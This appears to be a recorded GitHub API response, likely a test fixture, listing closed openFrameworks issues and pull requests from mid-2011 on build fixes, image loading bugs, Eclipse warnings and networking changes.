group","labels":[],"closed_at":"2011-07-29T11:43:37Z","created_at":"2011-07-27T20:18:20Z","state":"closed","user":{"url":"https://api.github.com/users/benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","id":124513},"id":1298580,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/682","patch_url":"https://github.com/openframeworks/openFrameworks/pull/682.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/682.diff"}},{"updated_at":"2011-09-11T11:30:31Z","body":"The below code works in OF 0062 but not in 007\r\n\r\nGraphicFace.h\r\n\r\n```c\r\n#pragma once\r\n\r\n#include \"ofMain.h\"\r\n\r\n\r\nclass GraphicFace {\r\npublic:\r\n\tGraphicFace();\r\n\tofImage head;\r\n\tvoid draw();\r\n};\r\n```\r\n\r\nGraphicFace.cpp\r\n\r\n```c\r\n#include \"GraphicFace.h\"\r\n\r\nGraphicFace::GraphicFace()\r\n{\r\n\thead.loadImage(\"head.png\");\r\n}\r\nvoid GraphicFace::draw()\r\n{\r\n\thead.draw(0, 0);\r\n\r\n}\r\n\r\n```\r\ntestApp.h\r\n\r\n```c\r\n#pragma once\r\n\r\n#include \"ofMain.h\"\r\n#include \"GraphicFace.h\"\r\n\r\nclass testApp : public ofBaseApp{\r\n\r\n\tpublic:\r\n\t\tvoid setup();\r\n\t\tvoid update();\r\n\t\tvoid draw();\r\n\r\n\t\tGraphicFace graphicFace;\r\n};\r\n```\r\ntestApp.cpp\r\n\r\n```c\r\nvoid testApp::draw(){\r\n\tgraphicFace.draw();\r\n}\r\n```\r\n\r\n007 displays this in Console\r\nOF: OF_LOG_ERROR: Couldn't load image from head.png\r\nOF: OF_LOG_WARNING: ofGLRenderer::draw(): texture is not allocated \r\n\r\nHere is a screen of the files to show head.png is there. Maybe there is something new I need to do in 007?\r\nhttp://i.imgur.com/ZDKow.jpg\r\n\r\n\r\nHere are my machine specs\r\nOS X 10.6.8\r\n\r\nModel Name: Mac Pro\r\nModel Identifier: MacPro1,1\r\nProcessor Name: Dual-Core Intel Xeon\r\nProcessor Speed: 2.66 GHz\r\nNumber Of Processors: 2\r\nTotal Number Of Cores: 4\r\nL2 Cache (per processor): 4 MB\r\nMemory: 7 GB\r\nBus Speed: 1.33 GHz\r\nBoot ROM Version: MP11.005C.B08\r\nSMC Version (system): 1.7f10\r\n\r\nNVIDIA GeForce 7300 GT:\r\n\r\nChipset Model: NVIDIA GeForce 7300 GT\r\nType: GPU\r\nBus: PCIe\r\nSlot: Slot-1\r\nPCIe Lane Width: x16\r\nVRAM (Total): 256 MB\r\nVendor: NVIDIA (0x10de)\r\nDevice ID: 0x0393\r\nRevision ID: 0x00a1\r\nROM Revision: 3008\r\nDisplays:\r\nCinema:\r\nResolution: 1680 x 1050\r\nPixel Depth: 32-Bit Color (ARGB8888)\r\nDisplay Serial Number: 2A7022K2UFZ\r\nMain Display: Yes\r\nMirror: Off\r\nOnline: Yes\r\nRotation: Supported\r\nBenQ FP202W:\r\nResolution: 1680 x 1050 @ 60 Hz\r\nPixel Depth: 32-Bit Color (ARGB8888)\r\nMirror: Off\r\nOnline: Yes\r\nRotation: Supported","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/681","comments":3,"milestone":null,"number":681,"html_url":"https://github.com/openframeworks/openFrameworks/issues/681","assignee":null,"title":"ofImage loadImage gets ofGLRenderer::draw(): texture is not allocated ","labels":[],"closed_at":"2011-09-11T11:30:31Z","created_at":"2011-07-26T19:45:30Z","state":"closed","user":{"url":"https://api.github.com/users/jvcleave","avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","login":"jvcleave","id":150037},"id":1291163,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-07-25T14:57:07Z","body":"The \"advanced3dExample\" contained in the \"Visual Studio 2010\" package of openFrameworks 007 does not build. The project is missing a number of source files.\r\n\r\nAdding these files to the project fixes the problem.\r\n\r\nAlso, the \"advancedEventsExample\" project is also missing a source file, but since it is a header file, it still builds successfully without it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/680","comments":1,"milestone":null,"number":680,"html_url":"https://github.com/openframeworks/openFrameworks/issues/680","assignee":null,"title":"advanced3dExample + of007 + vs2010 does not build","labels":[],"closed_at":"2011-07-25T14:57:07Z","created_at":"2011-07-25T13:27:40Z","state":"closed","user":{"url":"https://api.github.com/users/carlosefr","avatar_url":"https://secure.gravatar.com/avatar/5d027189c1708f259ce60c0911f6cd25?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5d027189c1708f259ce60c0911f6cd25","login":"carlosefr","id":937276},"id":1281738,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-07-27T11:50:16Z","body":"Using quotation marks for 'grep -v' command to work with list of folders.\r\nWithout this, EXCLUDE_FROM_SOURCE option does not work.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/678","comments":0,"milestone":null,"number":678,"html_url":"https://github.com/openframeworks/openFrameworks/issues/678","assignee":null,"title":"Fixed makefile exclude dirs.","labels":[],"closed_at":"2011-07-27T11:50:16Z","created_at":"2011-07-24T17:20:07Z","state":"closed","user":{"url":"https://api.github.com/users/ptrv","avatar_url":"https://secure.gravatar.com/avatar/7bed46e1c078b29fad9f44f8e0a113bd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7bed46e1c078b29fad9f44f8e0a113bd","login":"ptrv","id":49775},"id":1278069,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/678","patch_url":"https://github.com/openframeworks/openFrameworks/pull/678.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/678.diff"}},{"updated_at":"2011-07-27T11:49:38Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/677","comments":0,"milestone":null,"number":677,"html_url":"https://github.com/openframeworks/openFrameworks/issues/677","assignee":null,"title":"Added linux 32 bit fullCBP template.","labels":[],"closed_at":"2011-07-27T11:49:38Z","created_at":"2011-07-24T14:39:39Z","state":"closed","user":{"url":"https://api.github.com/users/ptrv","avatar_url":"https://secure.gravatar.com/avatar/7bed46e1c078b29fad9f44f8e0a113bd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7bed46e1c078b29fad9f44f8e0a113bd","login":"ptrv","id":49775},"id":1277577,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/677","patch_url":"https://github.com/openframeworks/openFrameworks/pull/677.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/677.diff"}},{"updated_at":"2011-07-27T11:48:33Z","body":"Couldn't compile outside of \"apps\" directory because of those relative paths.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/675","comments":0,"milestone":null,"number":675,"html_url":"https://github.com/openframeworks/openFrameworks/issues/675","assignee":null,"title":"Replaced relative paths with OF_ROOT","labels":[],"closed_at":"2011-07-27T11:48:33Z","created_at":"2011-07-22T22:51:17Z","state":"closed","user":{"url":"https://api.github.com/users/ThomasColliers","avatar_url":"https://secure.gravatar.com/avatar/5b663c1e73eda619104004e329af097d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5b663c1e73eda619104004e329af097d","login":"ThomasColliers","id":156175},"id":1273172,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/675","patch_url":"https://github.com/openframeworks/openFrameworks/pull/675.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/675.diff"}},{"updated_at":"2011-08-01T00:12:48Z","body":"ofRectangle: Added ofPoint-based constructor to be consistent with the corresponding set(ofPoint ...) function. Updated inside() function.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/674","comments":0,"milestone":null,"number":674,"html_url":"https://github.com/openframeworks/openFrameworks/issues/674","assignee":null,"title":"ofRectangle: Added ofPoint-based constructor to be consistent with the corresponding set(ofPoint ...) function. ","labels":[],"closed_at":"2011-08-01T00:12:48Z","created_at":"2011-07-21T21:41:49Z","state":"closed","user":{"url":"https://api.github.com/users/bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","id":300484},"id":1266144,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/674","patch_url":"https://github.com/openframeworks/openFrameworks/pull/674.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/674.diff"}},{"updated_at":"2011-07-27T11:50:35Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/673","comments":0,"milestone":null,"number":673,"html_url":"https://github.com/openframeworks/openFrameworks/issues/673","assignee":null,"title":"updated arch install scripts, added arch to readme.linux","labels":[],"closed_at":"2011-07-27T11:50:35Z","created_at":"2011-07-21T17:47:26Z","state":"closed","user":{"url":"https://api.github.com/users/benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","id":124513},"id":1264713,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/673","patch_url":"https://github.com/openframeworks/openFrameworks/pull/673.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/673.diff"}},{"updated_at":"2011-07-21T16:52:34Z","body":"**needs testing**\r\n\r\n-fixed retina bug","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/672","comments":0,"milestone":null,"number":672,"html_url":"https://github.com/openframeworks/openFrameworks/issues/672","assignee":null,"title":"ofxiPhoneSoundStream","labels":[],"closed_at":"2011-07-21T16:52:34Z","created_at":"2011-07-21T16:47:21Z","state":"closed","user":{"url":"https://api.github.com/users/stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","id":177578},"id":1264355,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/672","patch_url":"https://github.com/openframeworks/openFrameworks/pull/672.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/672.diff"}},{"updated_at":"2011-07-21T12:34:39Z","body":"and breaks backward functionality\r\n\r\nat theo's request :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/669","comments":0,"milestone":null,"number":669,"html_url":"https://github.com/openframeworks/openFrameworks/issues/669","assignee":null,"title":"ofSplitString now works like Processing and PHP's explode()","labels":[],"closed_at":"2011-07-21T12:34:39Z","created_at":"2011-07-21T04:45:37Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":1261065,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/669","patch_url":"https://github.com/openframeworks/openFrameworks/pull/669.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/669.diff"}},{"updated_at":"2011-09-11T11:27:24Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/668","comments":2,"milestone":null,"number":668,"html_url":"https://github.com/openframeworks/openFrameworks/issues/668","assignee":null,"title":"\t\tofURLFileLoader loader; errors in constructor if created at top of testApp.cpp - ofLog factory try catch issue","labels":[],"closed_at":"2011-09-11T11:27:24Z","created_at":"2011-07-20T22:03:11Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":1259589,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-07-20T20:57:06Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/667","comments":0,"milestone":null,"number":667,"html_url":"https://github.com/openframeworks/openFrameworks/issues/667","assignee":null,"title":"simplified and expanded the osx readme","labels":[],"closed_at":"2011-07-20T20:57:06Z","created_at":"2011-07-20T20:50:56Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":1259146,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/667","patch_url":"https://github.com/openframeworks/openFrameworks/pull/667.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/667.diff"}},{"updated_at":"2011-07-19T23:58:01Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/665","comments":0,"milestone":null,"number":665,"html_url":"https://github.com/openframeworks/openFrameworks/issues/665","assignee":null,"title":"fixing short + float for the changes to ofTexture","labels":[],"closed_at":"2011-07-19T23:58:01Z","created_at":"2011-07-19T23:57:13Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":1253379,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/665","patch_url":"https://github.com/openframeworks/openFrameworks/pull/665.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/665.diff"}},{"updated_at":"2011-07-20T13:04:58Z","body":"a few issues though that make it different than the normal ofVideoPlayer\r\n\r\n- it can't loop. if you need it to loop you can do something like:\r\n\r\nif(!fingerMovie.isPlaying()){\r\n\t\tfingerMovie.loadMovie(\"fingers.mov\");\r\n\t\tfingerMovie.play();\r\n}\r\n\r\nbut i didn't want to put that in because it definitely pauses when it unloads the video\r\n\r\n- getPixels() returns NULL sometimes. This is because the actual pixel array is malloced once the file has actually been loaded in. Not even the width or height are known until this has happened. They cannot be set independently. This could cause issues in getting pixels and expecting them to be there. the proper way to deal with this would be to use getWidth() and getHeight() instead of the static values that you know the video to be:\r\n\r\nunsigned char * pixels = fingerMovie.getPixels();\r\n\r\n\t\tfor (int i = 4; i < fingerMovie.getWidth(); i+=8){\r\n\t\t\tfor (int j = 4; j < fingerMovie.getHeight(); j+=8){\r\n\t\t\t\tunsigned char r = pixels[(j * 320 + i)*3];\r\n\t\t\t\tfloat val = 1 - ((float)r / 255.0f);\r\n\t\t\t\tofCircle(i,j,10*val);\r\n\t\t\t}\r\n\t\t}\r\n\r\n- lastly, movies are inverted, but it seemed like arturo was on this as it's a ofTexture issue","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/664","comments":0,"milestone":null,"number":664,"html_url":"https://github.com/openframeworks/openFrameworks/issues/664","assignee":null,"title":"ofiPhoneVideoPlayer","labels":[],"closed_at":"2011-07-20T13:04:58Z","created_at":"2011-07-19T20:00:12Z","state":"closed","user":{"url":"https://api.github.com/users/stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","id":177578},"id":1251860,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/664","patch_url":"https://github.com/openframeworks/openFrameworks/pull/664.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/664.diff"}},{"updated_at":"2011-07-19T17:47:10Z","body":"fixes seriously broken retina support","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/663","comments":1,"milestone":null,"number":663,"html_url":"https://github.com/openframeworks/openFrameworks/issues/663","assignee":null,"title":"retina fixes, + updates to deploy projects files, though you may have already reworked that since we talked theo","labels":[],"closed_at":"2011-07-19T17:47:10Z","created_at":"2011-07-19T17:36:16Z","state":"closed","user":{"url":"https://api.github.com/users/stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","id":177578},"id":1250872,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/663","patch_url":"https://github.com/openframeworks/openFrameworks/pull/663.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/663.diff"}},{"updated_at":"2011-07-20T12:24:37Z","body":"Hi!\r\nI built the current head, and Eclipse throws 12 warnings. Some are obviously false positives of the code indexer, but some seem to be genuine problems which could trigger bugs. I will leave them for discussion and possible fix by the original authors, cause I'm sometimes not sure what the intended behaviour is. After successful discussion, I can form up some pull requests if nobody else does.\r\n\r\n1) `‘srcColor’ may be used uninitialized in this function\tofPixels.cpp\t/openFrameworks/graphics\tline 672`\r\nI'm sure this is a bug, since, if the `if` in L707 does not trigger, in L710 we have an uninitialised `srcColor`. I will file a fix, initialise to 0, later.\r\n\r\n2) `converting to non-pointer type ‘pthread_t’ from NULL\tofThread.cpp\t/openFrameworks/utils\tline 110`\r\nprobably not problematic?\r\n\r\n3) `dereferencing type-punned pointer will break strict-aliasing rules\tofUtils.cpp\t/openFrameworks/utils\tline 342` \r\nSame in L441. Don't even know what that means...\r\n\r\n4) `enumeration value ‘PNG’ not handled in switch\tofCairoRenderer.cpp\t/openFrameworks/graphics\tline 41`\r\nPretty clearly a bug, there's no case for PNG, and not default case. Question is: What should be done if a PNG case is triggered?\r\n\r\n5) `Invalid project path: Duplicate path entries found (/openFrameworks [Output path]), path: [/openFrameworks].\topenFrameworks\t\tpathentry`\r\nFrom what I read, some leftover path somewhere in the project files, but I have no idea how to locate that. According to the internet, nothing tragic.\r\n\r\n6) `unused variable ‘len’\tofUtils.cpp\t/openFrameworks/utils\tline 585`\r\nYes, an unused return variable is not tragic, but why does it get incremented by one, and then remains unused afterwards? That does not make sense.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/662","comments":6,"milestone":null,"number":662,"html_url":"https://github.com/openframeworks/openFrameworks/issues/662","assignee":null,"title":"Eclipse build warnings - possible bugs","labels":[],"closed_at":"2011-07-19T17:13:37Z","created_at":"2011-07-19T17:05:52Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1250671,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-07-19T14:30:36Z","body":"First commit removes superfluous/wrong include paths - those get added by the toolchain anyway. Otherwise, I get a build warning `Invalid project path: Include path not found (/usr/include/c++/4.5/x86_64-linux-gnu)` on a 32bit system.\r\nReferences: https://github.com/openframeworks/openFrameworks/commit/5c869c4799cc6e95cc685fd269afa6a8afb61722\r\nhttps://github.com/openframeworks/openFrameworks/commit/596524722f3924d5fc87a3af5672e6d6ae19a4b8#libs/openFrameworks/.cproject-P5\r\n\r\nSecond commit, I'm not sure about the proper way to reference the projects among each other, so feel free to leave those out. \r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/661","comments":1,"milestone":null,"number":661,"html_url":"https://github.com/openframeworks/openFrameworks/issues/661","assignee":null,"title":"Fix eclipse include paths and project reference","labels":[],"closed_at":"2011-07-19T14:30:24Z","created_at":"2011-07-19T14:26:18Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1249645,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/661","patch_url":"https://github.com/openframeworks/openFrameworks/pull/661.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/661.diff"}},{"updated_at":"2011-07-20T00:06:02Z","body":"Now when clients disconnect and reconnect, the TCPServer will re-use the disconnected ID as opposed to incrementing it and adding a new one","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/660","comments":0,"milestone":null,"number":660,"html_url":"https://github.com/openframeworks/openFrameworks/issues/660","assignee":null,"title":"Reclaiming client id's","labels":[],"closed_at":"2011-07-20T00:06:02Z","created_at":"2011-07-19T12:02:37Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","id":321434},"id":1248886,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/660","patch_url":"https://github.com/openframeworks/openFrameworks/pull/660.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/660.diff"}},{"updated_at":"2011-07-19T13:56:52Z","body":"See underdoeg's observation [here](http://forum.openframeworks.cc/index.php/topic,6766.msg31842.html#msg31842).\r\nI browsed through the makefile, and I think that maybe [this](https://github.com/openframeworks/openFrameworks/blob/master/apps/devApps/linux/Makefile#L139) section is the culprit - there's no check to see if addons.make is non-empty, therefore nonsensical `ADDONS_REL_DIRS` etc. get created. \r\nUnfortunately, I'm not confident enough with my make-fu to fix it myself. :-(","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/659","comments":0,"milestone":null,"number":659,"html_url":"https://github.com/openframeworks/openFrameworks/issues/659","assignee":null,"title":"Empty addons.make file causes error in the build process","labels":[],"closed_at":"2011-07-19T13:56:52Z","created_at":"2011-07-19T11:23:32Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1248717,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-07-19T10:50:18Z","body":"ofFileUtils/ofBuffer: getNextLine() now handles LF, CR, and CRLF. Added resetLineReader() method. Made integer casts consistent (i.e. changed int(...) to (int)(...)). Made if( ... ) and while ( ... ) statement spacing consistent.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/658","comments":2,"milestone":null,"number":658,"html_url":"https://github.com/openframeworks/openFrameworks/issues/658","assignee":null,"title":"ofFileUtils/ofBuffer: getNextLine() now handles LF, CR, and CRLF. Added resetLineReader() method.","labels":[],"closed_at":"2011-07-19T10:49:15Z","created_at":"2011-07-19T01:51:15Z","state":"closed","user":{"url":"https://api.github.com/users/bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","id":300484},"id":1246834,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/658","patch_url":"https://github.com/openframeworks/openFrameworks/pull/658.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/658.diff"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=18&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '28581'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"239ec1422615ad2c6da7efd55f77b7ae"'), ('date', 'Tue, 29 May 2012 18:46:38 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-07-18T18:26:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/657","comments":0,"milestone":null,"number":657,"html_url":"https://github.com/openframeworks/openFrameworks/issues/657","assignee":null,"title":"minor changes while checking c::b","labels":[],"closed_at":"2011-07-18T18:26:50Z","created_at":"2011-07-18T16:16:45Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1243018,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/657.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/657","patch_url":"https://github.com/openframeworks/openFrameworks/pull/657.patch"}},{"updated_at":"2011-07-19T11:25:52Z","body":"Hi!\r\nI just looked at the space requirements of my (compiled) github openFrameworks install. \r\n\r\nLooking at the addons directory, I saw that of the 338MB size of the (stock) addons directory, 274MB were occupied by OpenCV alone. Now I realise that it's a very nice addon, but seeing that it's got its own repository on the official oF github page, would it maybe make sense to not pack it, and save significant space in the install package?\r\n\r\nTo get a feeling, my oF git clone, having been compiled on both 32bit and 64bit Linux, is 1.4GB big. The biggest contributors are libs (478MB), .git (467MB), addons (338MB, of which 274MB is openCV).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/656","comments":2,"milestone":null,"number":656,"html_url":"https://github.com/openframeworks/openFrameworks/issues/656","assignee":null,"title":"OpenCV space requirements - do we need to package it?","labels":[],"closed_at":"2011-07-19T11:25:52Z","created_at":"2011-07-18T15:03:28Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1242131,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-18T19:17:43Z","body":"Scripts are now working and ready to go. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/655","comments":1,"milestone":null,"number":655,"html_url":"https://github.com/openframeworks/openFrameworks/issues/655","assignee":null,"title":"Finalised Codeblocks scripts","labels":[],"closed_at":"2011-07-18T19:17:15Z","created_at":"2011-07-18T13:53:17Z","state":"closed","user":{"url":"https://api.github.com/users/pierrep","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160,"avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1241662,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/655.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/655","patch_url":"https://github.com/openframeworks/openFrameworks/pull/655.patch"}},{"updated_at":"2011-07-19T12:01:20Z","body":"Added function to set the end of message delimiter for the TCP server and client.\r\n\r\nThis is really helpful for making send() and receive() work with other systems that expect different types of message ends. \r\n\r\nThe change maintains backwards compatibly with existing OF networking code. Hoping to sneak this into oF 007.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/654","comments":2,"milestone":null,"number":654,"html_url":"https://github.com/openframeworks/openFrameworks/issues/654","assignee":null,"title":"ability to change delimiter for ofxTCPClient / Server","labels":[],"closed_at":"2011-07-19T12:01:20Z","created_at":"2011-07-18T11:30:06Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1241038,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/654.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/654","patch_url":"https://github.com/openframeworks/openFrameworks/pull/654.patch"}},{"updated_at":"2012-03-27T04:09:16Z","body":"MacPro1,1\r\nATI Radeon X1900 XT:\r\n\r\nUsing this code\r\n\r\n```c++\r\nvoid testApp::setup(){\r\n\tofSetLogLevel(OF_LOG_VERBOSE);\r\n\tfboObject.allocate(500, 500);\r\n}\r\n```\r\nConsole reads\r\nOF: OF_LOG_NOTICE: ofFbo::checkGLSupport()\r\nmaxColorAttachments: 4\r\nmaxDrawBuffers: 